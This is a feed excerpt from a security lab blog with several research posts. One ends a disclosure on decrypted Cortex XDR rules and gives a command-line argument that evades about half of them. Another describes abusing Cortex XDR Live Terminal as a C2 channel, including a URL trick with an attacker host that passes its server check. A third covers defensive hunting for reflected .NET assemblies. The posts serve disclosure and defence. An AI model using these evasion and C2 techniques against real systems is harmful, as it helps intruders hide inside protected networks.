&lt;td&gt;The Director of Offensive Security at Palo Alto Networks contacted us and asked for a delay of the 90-day disclosure policy, as well as more detailed information about the decryption of the rules.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑08‑20&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The Director of Offensive Security at Palo Alto Networks requested a meeting to discuss the timeline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑09‑01&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Meeting with Palo Alto. They want to publish a fix in February 2026. We granted the extended time to protect Cortex customers from an abuse of global whitelists.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026‑01‑09&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto is on track to publish a fix by the end of February.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026‑02‑24&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;We asked for a final date.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026‑02‑24&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto responded that a fix is already published in Cortex XDR  Agent version 9.1 and Content version 2160.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Analysing the Fix&lt;/h2&gt;
&lt;p&gt;The old encryption keys no longer work to decrypt the rules. However, the string &lt;code&gt;!7H1@j@%J8VqP9c7SgstHaxzjfuS1u=EsVU#QMKHgogc*X8*sXoho2*t&amp;amp;paX5NJ@&lt;/code&gt; in &lt;code&gt;cysvc.dll&lt;/code&gt; from which a part of the key was derived is still the same. The second part and the &quot;derivation&quot; function changed slightly.&lt;/p&gt;
&lt;p&gt;The actual issue, however, was the global whitelists in the decrypted rules. They fully removed the global whitelists. Spawning an implant that bypasses all kinds of rules at the same time is no longer possible. Bypassing individual rules, however, is of course still a lot easier when knowing the rules. Most of them have exceptions which can be abused.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;There will always be a cat-and-mouse game between offensive and defensive security. A common approach in malware development is to create new techniques to bypass EDR agents, for example, by using new methods for shellcode injection. This post describes another method for evading detections when targeting specific EDRs. About half of the predefined behavioral detection rules in Cortex XDR could be bypassed by simply adding the command line argument &lt;code&gt;:\Windows\ccmcache&lt;/code&gt; to the process that executes malicious actions. These rules are not directly accessible in plaintext, which can be compared to a &quot;security by obscurity&quot; approach. This raises the question of whether vendors&apos; detection rules should be hidden or open. For example, Elastic and HarfangLab use open rules, but this creates a trade-off, as less-skilled attackers can also inspect them.
Defenders should know their tools and not blindly trust a black-box detection and prevention solution.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Abusing Cortex XDR Live Terminal as a C2</title><link>https://labs.infoguard.ch/posts/abusing_cortex_xdr_live_response_as_c2/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/abusing_cortex_xdr_live_response_as_c2/</guid><description>The Cortex XDR agent includes an incident response feature called &quot;Live Terminal&quot;, which attackers can abuse as a C2.</description><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;The Live Terminal feature of Cortex XDR can be abused by attackers as a pre-installed, EDR-trusted C2 channel. This &quot;Living off the Land&quot; technique offers many features:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ Command execution&lt;/li&gt;
&lt;li&gt;✅ PowerShell execution&lt;/li&gt;
&lt;li&gt;✅ Python execution&lt;/li&gt;
&lt;li&gt;✅ Process explorer&lt;/li&gt;
&lt;li&gt;✅ File explorer with upload and download capabilities&lt;/li&gt;
&lt;li&gt;✅ GUI&lt;/li&gt;
&lt;li&gt;✅ Evasion++: Commands can be executed without triggering detection/prevention rules (needs some tweaks not described in this post)&lt;/li&gt;
&lt;li&gt;✅ No development effort&lt;/li&gt;
&lt;li&gt;✅ Network traffic often excluded from TLS interception&lt;/li&gt;
&lt;li&gt;✅ Direct C2-connections from all hosts by design&lt;/li&gt;
&lt;li&gt;⚠️ Requires local administrator privileges to execute the payload from its native path&lt;/li&gt;
&lt;li&gt;⚠️ Blocked without a bypass of default prevention rules&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;EDR solutions are complex software with a large attack surface. We already analyzed different components for vulnerabilities in our series on &lt;a href=&quot;https://labs.infoguard.ch/archive/tag/EDR/&quot;&gt;attacking EDRs&lt;/a&gt;. This post now is a part of our research on the communication between the EDR agents and the cloud. The precondition is to analyse the network traffic which is described in the next section.&lt;/p&gt;
&lt;h1&gt;Research Setup: Analyzing network traffic&lt;/h1&gt;
&lt;p&gt;Analyzing the Cortex agent&apos;s main network traffic is straightforward. No certificate or CA pinning was observed. A feature called &quot;certificate enforcement&quot; exists, which uses its own trust store for certain connections, but this can be disabled in the configuration. The proxy can be configured using the system proxy settings.&lt;/p&gt;
&lt;p&gt;On our test tenant, the server was &lt;code&gt;[tenant].traps.paloaltonetworks.com&lt;/code&gt;. When a Live Terminal session is initiated, a WebSocket message is sent to the agent at the URL &lt;code&gt;https://[tenant].traps.paloaltonetworks.com/operations/socket&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./websockets_liveterminal_message.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The download link for the Live Terminal payload appears to be ignored. It is a completely different version than the one that is actually executed. The command line instructs the agent how to execute the &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./websockets_liveterminal_start.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With the proxy and TLS interception enabled, the connection to &lt;code&gt;lrc-ch.paloaltonetworks.com&lt;/code&gt; raised a TLS error. Excluding this host from TLS interception allowed the connection to succeed, which means this connection probably does not use the system&apos;s certificate trust store.&lt;/p&gt;
&lt;h2&gt;Decompiling &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;Examining the strings made it obvious that this was a packed Python executable created with &lt;a href=&quot;https://pyinstaller.org/&quot;&gt;PyInstaller&lt;/a&gt;. Using &lt;a href=&quot;https://github.com/pyinstxtractor/pyinstxtractor-ng&quot;&gt;pyinstxtractor-ng&lt;/a&gt;, it was unpacked:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pyinstxtractor-ng cortex-xdr-payload.exe                                         
[+] Processing cortex-xdr-payload.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Length of package: 9798407 bytes
[+] Found 19 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pytz_zip_hook.pyc
[+] Possible entry point: hook_preload.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pywintypes.pyc
[+] Possible entry point: pyi_rth_pythoncom.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: main.pyc
[+] Found 1366 files in PYZ archive
[+] Successfully extracted pyinstaller archive: cortex-xdr-payload.exe

You can now use a python decompiler on the pyc files within the extracted directory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The resulting &lt;code&gt;.pyc&lt;/code&gt; files were then decompiled using &lt;a href=&quot;https://github.com/syssec-utd/pylingual&quot;&gt;pylingual&lt;/a&gt;. Most other decompilers could not process Python 3.12.&lt;/p&gt;
&lt;p&gt;The decompiled code shows the file that defines the trusted CAs:
&lt;img src=&quot;./ssl_options_1.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./ssl_options_2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The file contains standard CAs and not just specific ones used by Palo Alto hosts.
I added the Burp Suite CA certificate to this file after disabling the Cortex agent. Using a file lock prevents the agent from overwriting it again after enabling Cortex.&lt;/p&gt;
&lt;h2&gt;Analyzing Live Terminal Network Traffic&lt;/h2&gt;
&lt;p&gt;With this modification, I could intercept the network traffic to &lt;code&gt;lrc-ch.paloaltonetworks.com&lt;/code&gt;:
&lt;img src=&quot;./live_terminal_traffic1.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;whoami_terminal.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The protocol is relatively simple and lacks command signing. This looked like a ready-made C2 for attackers, too. An attacker can specify their &quot;C2&quot; server and send commands via WebSockets.&lt;/p&gt;
&lt;h1&gt;Abusing Live Terminal as C2&lt;/h1&gt;
&lt;h2&gt;Method 1: Cross-Tenant&lt;/h2&gt;
&lt;p&gt;Surprisingly, it was even possible to use the official Live Terminal GUI for this attack. For this method, the attacker needs their own Cortex tenant:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The attacker starts a Live Terminal session in their own tenant.&lt;/li&gt;
&lt;li&gt;The WebSocket message containing the host and token (&lt;code&gt;-port 443 -server lrc-ch.paloaltonetworks.com -token [REDACTED] -d&lt;/code&gt;) is generated. The attacker must intercept this initial message and prevent it from reaching the legitimate agent on their own machine.&lt;/li&gt;
&lt;li&gt;These host and token arguments are then used to start the &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; on the victim&apos;s host.&lt;/li&gt;
&lt;li&gt;The connection from the victim is then received in the attacker&apos;s tenant.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The screenshot shows the result of this attack. &lt;code&gt;WinDev2104Eval&lt;/code&gt; is in the attacker&apos;s tenant, and &lt;code&gt;windev11-*&lt;/code&gt; is the victim host:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./cross_tenant_live_response_c2_cmd.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./abuse_example.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Method 2: Creating a Custom Server&lt;/h2&gt;
&lt;p&gt;Alternatively, an attacker without a Cortex tenant could re-implement the server-side component of the WebSocket-based communication. Based on the captured traffic, this would not require significant development effort using LLM agents.&lt;/p&gt;
&lt;p&gt;The Python code of &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; includes a check for the server host, but this can be bypassed in several ways. An intrusive example is editing the &lt;code&gt;hosts&lt;/code&gt; file, but if you look closely at the code, there is a trivial logic flaw in how the URL is validated.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def run_lrc_payload(lrc_payload_config, logger):
    lrc_exit_code = (-1)
    if not lrc_payload_config.server.endswith(&apos;.paloaltonetworks.com&apos;):
        logger.error(f&apos;Server address {lrc_payload_config.server} is invalid&apos;)
        return lrc_exit_code
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, the &lt;code&gt;hosts&lt;/code&gt; file is used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if os.environ.get(&apos;use_custom_dns_query&apos;, &apos;FALSE&apos;)!= &apos;TRUE&apos;:
        terminal_logger.info(&apos;No bypassing hosts file enforced.&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code above, &lt;code&gt;lrc_payload_config.server.endswith(&apos;.paloaltonetworks.com&apos;):&lt;/code&gt;, does not check the hostname itself, but the entire URL.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;attacker.com/asdf&lt;/code&gt; is blocked:
&lt;img src=&quot;cortex_host_bypass_blocked.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;attacker.com/test.paloaltonetworks.com&lt;/code&gt; is accepted:
&lt;img src=&quot;cortex_host_bypass.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Therefore, you can connect it to your own server implementation simply by appending the required string to your URL path.&lt;/p&gt;
&lt;h2&gt;Prevention Rules&lt;/h2&gt;
&lt;p&gt;The only hurdle is that Cortex has default rules to block and detect when its own processes are started by a non-standard parent process:
&lt;img src=&quot;payload_execute.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./cortex_alert.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Bypasses for these rules will not be published in this post.&lt;/p&gt;
&lt;h2&gt;Detection&lt;/h2&gt;
&lt;p&gt;Legitimately, &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; is started by &lt;code&gt;cyserver.exe&lt;/code&gt;, the main user-mode component of the Cortex agent. Therefore, any other parent process for &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; should be considered suspicious (e.g., defenders can monitor Process Creation events for anomalous &lt;code&gt;ParentProcess&lt;/code&gt; values). InfoGuard customers are already protected from this abuse since September 2025.&lt;/p&gt;
&lt;h2&gt;Disclosure Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date       &lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑09‑30&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;We reported the abuse of &lt;code&gt;cortex-xdr-payload.exe&lt;/code&gt; and the hosts bypass in &lt;code&gt;run_lrc_payload&lt;/code&gt; to &lt;a href=&quot;https://security.paloaltonetworks.com/report&quot;&gt;Palo Alto Networks&lt;/a&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑02&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks acknowledged receipt.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑02&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks had issues reproducing it because it saves the log in the current working directory, and they used one that requires local SYSTEM permissions. Therefore, they received a &quot;permission denied&quot; error.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑02&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;InfoGuard clarified that this is because of the log file path. When running as SYSTEM in this case, it still works.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2025‑10‑08&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks triaged the report to the product team and assigned the internal tracking ID CPATR‑33170.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026‑01‑09&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;InfoGuard asked about the current status.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;2026‑01‑09&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Palo Alto Networks responded: &quot;Thanks for following up on other email and apologies for the late response on this. The product team mentioned that they were aware about this issue from more than a year ago and they have fixed it as part of content updates so 8.7-8.9 should be protected.&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;According to our analysis with 8.9.1 and new content updates, there is no fix for the abuse and host bypass described in this post. This was tested on 2026-02-23.&lt;/p&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This research highlights the ongoing need for security vendors to invest more effort in securing their own products. EDR agents are deployed to catch attackers, but they can also be abused in different ways.&lt;/p&gt;
&lt;p&gt;From a design perspective, there appear to be no inherent mitigations to prevent this abuse of the Cortex XDR Live Terminal feature. Abusing this feature grants an attacker a highly capable C2 channel that natively blends into enterprise network traffic. The primary mitigation should not be a reactive, rule-based detection (like parent-process checks), but rather a secure-by-design approach to the feature&apos;s architecture — such as implementing mutual authentication and cryptographic command signing.&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>CLRaptor: Hunting reflected assemblies with Velociraptor</title><link>https://labs.infoguard.ch/posts/clraptor_hunting_for_assemblies/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/clraptor_hunting_for_assemblies/</guid><description>.NET reflection is a common technique used by threat actors throughout the attack lifecycle. In this post, I introduce two Velociraptor capabilities for hunting reflection-loaded assemblies and detecting patched or downgraded CLR instances. I also share techniques to dump suspicious assemblies for analysis, with the goal to help responders identify and investigate suspicious .NET at scale.</description><pubDate>Mon, 01 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In many intrusions attackers are observed using .NET across the attack lifecycle: payload execution by PowerShell cradles or other &quot;living-off-the-land&quot; binaries; ASP.NET webshells; in-memory C2 agents or capability for specific objectives. A key component of this activity is reflection - the ability to load assemblies and execute code dynamically at runtime.&lt;/p&gt;
&lt;p&gt;In this post, I’ll walk through:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A quick refresher on .NET and why reflection is such a popular technique.&lt;/li&gt;
&lt;li&gt;Two Velociraptor capabilities I have built:
&lt;ol&gt;
&lt;li&gt;A reflected assembly hunting artifact that consumes CLR ETW and surfaces in-memory / reflection-loaded assemblies at scale.&lt;/li&gt;
&lt;li&gt;An artifact to identify CLR processes and detect patched or downgraded instances to overcome visibility gaps.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;How to dump reflected assemblies for analysis.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The goal is to give incident responders a practical way to hunt for suspicious .net processes and triage effectively when they find them.&lt;/p&gt;
&lt;h2&gt;Background: .NET and the CLR&lt;/h2&gt;
&lt;p&gt;At a high level, .NET is Microsoft’s managed application platform. Instead of compiling straight to machine code, languages like C# compile to an intermediate bytecode called Common Intermediate Language (CIL). At runtime, the Common Language Runtime (CLR) compiles CIL to native x86/x64 code. CLR manages memory, type safety and exceptions.&lt;/p&gt;
&lt;p&gt;On disk, .NET programs still look like normal Windows executables or DLLs, but with extra structure for managed code:
- They use the same basic Windows binary format as native code, but add a .NET (COR20) directory.
- That directory points to the CLR and metadata headers, which describe:
- Types and methods
- Strings and user-defined literals
- GUIDs and signatures
- These metadata streams (#~, #Strings, #US, #GUID, #Blob) effectively bolt a rich type system onto a regular Windows binary.&lt;/p&gt;
&lt;p&gt;The important part to take away is what is in charge once a .NET program runs. For native binaries, Windows directly loads code and libraries. For .NET, the CLR sits in the middle and decides how managed assemblies are loaded, bound, and executed. With its large standard library and ease of use, .NET is a very convenient development platform.&lt;/p&gt;
&lt;h2&gt;Background: Reflection&lt;/h2&gt;
&lt;p&gt;In .NET, reflection is the runtime feature that lets code discover and use types, methods, and load assemblies dynamically. Legitimate software uses it for plugins, dynamic loading, and tooling - but for attackers it is a defence evasion technique, similar to injection, but for managed code. They can load assemblies straight from bytes in memory, resolve method names on the fly, and execute payloads more discreetly.&lt;/p&gt;
&lt;p&gt;The image below is an example of a recently observed exploit payload. It reflectively loads a publicly available memory shell and executes an msiexec command:
&lt;img src=&quot;files/00_reflection.png&quot; alt=&quot;Memshell reflection&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Some common reflection APIs include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Assembly.Load(byte[])&lt;/code&gt;: Load a full .NET assembly directly from a byte array in memory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Type.GetType(string)&lt;/code&gt;: Resolve a type by name at runtime, even if it was never referenced statically.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MethodInfo.Invoke(Object, Object[]) &lt;/code&gt;: Execute a method dynamically without static calls or direct code references.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This combination of fileless loading, runtime name resolution, and dynamic execution gives malware authors stealth, flexibility, and helps them evade basic detections.&lt;/p&gt;
&lt;h2&gt;Capability 1: Windows.Detection.ReflectedAssemblies&lt;/h2&gt;
&lt;p&gt;This Velociraptor artifact collects all currently loaded .NET assemblies from a target process and mirrors ProcessHacker’s “.NET Assemblies” tab. It automatically filters out assemblies that exist on disk and highlights those marked Dynamic, which is a strong indicator of reflection-loaded, memory-only modules. The artifact uses the Microsoft-Windows-DotNETRuntimeRundown ETW provider and is best run initially with its default configuration.&lt;/p&gt;
&lt;p&gt;Below is an example from a system running a Covenant agent. Covenant is noisy, loading an assembly per task, making it a great example to explore.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/01_reflected_assemblies.png&quot; alt=&quot;Windows.Detection.ReflectedAssemblies&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The output includes AppDomainName, ModuleID, FullyQualifiedName, and ModuleILPath. Memory-reflected assemblies will typically have only a name for their ModuleILPath and no flags. Hunting at scale, I have observed many legitimate reflected assemblies, including IIS/ASP.NET websites and custom applications. An easy win is to look for common attack tool names, null version information in the FullyQualifiedName, and random names typically generated by attack frameworks.&lt;/p&gt;
&lt;p&gt;Compared with Process Hacker view: &lt;img src=&quot;files/02_reflected_assemblies.png&quot; alt=&quot;ProcessHacker view&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For ambiguous assemblies, the usual workflow is to run the artifact once to identify suspicious ModuleIDs, then rerun it with a ModuleIDRegex filter to pull back detailed metadata on those targets. Running in this ModuleID mode changes the ETW keyword flags and can significantly increase the number of events returned, so a targeted approach is recommended.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/04_reflected_assemblies.png&quot; alt=&quot;Suspicious Module&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In the screenshot below, the suspicious attack framework methods are easy to spot. I also look for methods that expose unexpected capabilities relevant to the host process.
&lt;img src=&quot;files/05_reflected_assemblies.png&quot; alt=&quot;Suspicious Module&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Reflection-based detection like this is effective, but it relies on CLR ETW. If ETW is patched or disabled, those signals may disappear - which leads us to Capability 2.&lt;/p&gt;
&lt;h2&gt;Capability 2: Windows.System.IsClrProcess&lt;/h2&gt;
&lt;p&gt;IsClrProcess addresses the visibility gap by identifying CLR-based processes and detecting potential patching. The artifact finds any running process that imports &lt;code&gt;mscoree.dll&lt;/code&gt;, then runs a brief ETW collection to check whether the process emits CLR events and whether we may be looking at a downgrade attack or an older runtime version.&lt;/p&gt;
&lt;p&gt;In the screenshot below, we have detected a Covenant process with both ETW and AMSI patched. The artifact uses the Mem2Disk capability, which compares patchable dlls on disk with the version running in memory.
&lt;img src=&quot;files/06_isclr.png&quot; alt=&quot;IsCLR patched&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There are also other useful indicators that may impact CLR visibility. The screenshot below shows two suspicious PowerShell processes, BLUE has been downgraded with the &lt;code&gt;-version 2.0&lt;/code&gt; switch on the commandline and RED using environment variables. When hunting in the wild, older applications may legitimately load older CLR modules (visible in the FileVersion), but downgraded PowerShell will often have this field absent.
&lt;img src=&quot;files/07_isclr.png&quot; alt=&quot;IsCLR PowerShell&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Dump reflected assemblies for analysis.&lt;/h2&gt;
&lt;p&gt;A common triage use case is extracting assemblies for review and to reverse engineer with other tools. First, dump the process using Windows.Memory.ProcessDump.
&lt;img src=&quot;files/08_procdump.png&quot; alt=&quot;Windows.Memory.ProcessDump&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::important{title=&quot;WinDBG is a great tool for dump file analysis.&quot;}
@DebugPrivilege has &lt;a href=&quot;https://github.com/DebugPrivilege/InsightEngineering/tree/main/Debugging%20Case%20Studies&quot;&gt;shared a resource&lt;/a&gt; for those interested in learning useful workflow for investigations and debugging case studies using WinDBG.
:::&lt;/p&gt;
&lt;p&gt;We can compare the patched and unpatched collected processes to validate Mem2Disk hits observed in Windows.System.IsClrProcess.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;db ntdll!NtTraceEvent&lt;/code&gt;: shows the hex view starting at ntdll!NtTraceEvent.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;u ntdll!NtTraceEvent&lt;/code&gt;: asks WinDBG to disassemble the machine code at that address and display the corresponding instructions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In the screenshot below, we can see a &lt;code&gt;RET&lt;/code&gt; at the first instruction, which is a strong indicator that the function has been patched to immediately return and skip the real syscall.
&lt;img src=&quot;files/10_windbg_patch.png&quot; alt=&quot;Check for NtTraceEvent patch&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For extracting assemblies, a reliable method is to list non-Microsoft modules, then use the referenced address to extract interesting assemblies for analysis.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;!load mex&lt;/code&gt;: Loads the MEX extension to provide advanced .NET/CLR inspection commands.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!mods -3&lt;/code&gt;: Lists all loaded modules, filtered to third-party/unknown modules.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lmva &amp;lt;base address&amp;gt;&lt;/code&gt;: Display detailed metadata for specific module.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!savemodule &amp;lt;base&amp;gt; &amp;lt;path&amp;gt;&lt;/code&gt;: Dumps the in-memory assembly to chosen path.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;files/09_windbg.png&quot; alt=&quot;Dump assemblies for analysis&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Finally, we can analyse extracted assemblies with our tools of choice:
&lt;img src=&quot;files/11_malcat.png&quot; alt=&quot;Malcat&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Manual extraction can be tedious - we recently observed a case with an exploited server with hundreds of payload assemblies in process memory! To make this easier, I built a simple tool to extract assemblies from a process dump file automatically and dedupe via hash: &lt;a href=&quot;https://github.com/mgreen27/DotnetDumper&quot;&gt;DotnetDumper&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the screenshot below, I have extracted all assemblies from our Covenant process in a fraction of the time of manual analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;files/12_dotnetdumper.png&quot; alt=&quot;DotnetDumper&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;In this post I’ve shown how Velociraptor can be used to hunt reflected assemblies and extract suspicious assemblies for triage  quickly and effectively. All the relevant artifacts are available on the Velociraptor Artifact Exchange and GitHub linked below. Please let me know if you find this useful and feel free to provide feedback via X, LinkedIn or GitHub.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.velociraptor.app/exchange/artifacts/pages/reflectedassemblies/&quot;&gt;Windows.Detection.ReflectedAssemblies&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://docs.velociraptor.app/exchange/artifacts/pages/isclrprocess/&quot;&gt;Windows.System.IsClrProcess&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/mgreen27/DotnetDumper&quot;&gt;DotnetDumper&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;References:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1620/&quot;&gt;MITRE ATT&amp;amp;CK, T1620 Reflective Code Loading&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/core/introduction&quot;&gt;Microsoft, Introduction to .NET&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/dotnet/framework/performance/clr-etw-providers&quot;&gt;Microsoft, CLR ETW Providers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/DebugPrivilege/InsightEngineering/tree/main/Debugging%20Case%20Studies&quot;&gt;DebugPrivilage, Debugging Case Studies&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><author>Matthew Green</author></item><item><title>Analyzing and Breaking Defender for Endpoint&apos;s Cloud Communication</title><link>https://labs.infoguard.ch/posts/attacking_edr_part5_vulnerabilities_in_defender_for_endpoint_communication/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/attacking_edr_part5_vulnerabilities_in_defender_for_endpoint_communication/</guid><description>Attacking EDRs Part 5 - Multiple vulnerabilities are present in the communication of Defender for Endpoint with cloud APIs. Authentication bypass, spoofing of commands and data, uploading malicious data to incident responders and information disclosure.</description><pubDate>Fri, 10 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;By patching Defender for Endpoint in memory to bypass certificate pinning, we intercepted its cloud traffic. We found that several backend endpoints don&apos;t validate authentication tokens, allowing a post-breach attacker with a machine&apos;s ID to hijack the command-and-control channel.
This flaw affects endpoints handling incident response commands, enabling an attacker to intercept them remotely before the target host receives them. It is a pull-based protocol where the first request wins and receives the command. For example, an attacker can prevent host isolation while spoofing a &quot;successful&quot; response. They can also return fake data for Live Response commands or plant malicious files in investigation packages to directly target the security analysts responding to the incident.&lt;/p&gt;
&lt;p&gt;All &lt;a href=&quot;#findings&quot;&gt;findings&lt;/a&gt; were reported to the Microsoft Security Response Center (MSRC) in July 2025. However, Microsoft has classified them as low severity and has not committed to a fix.&lt;/p&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
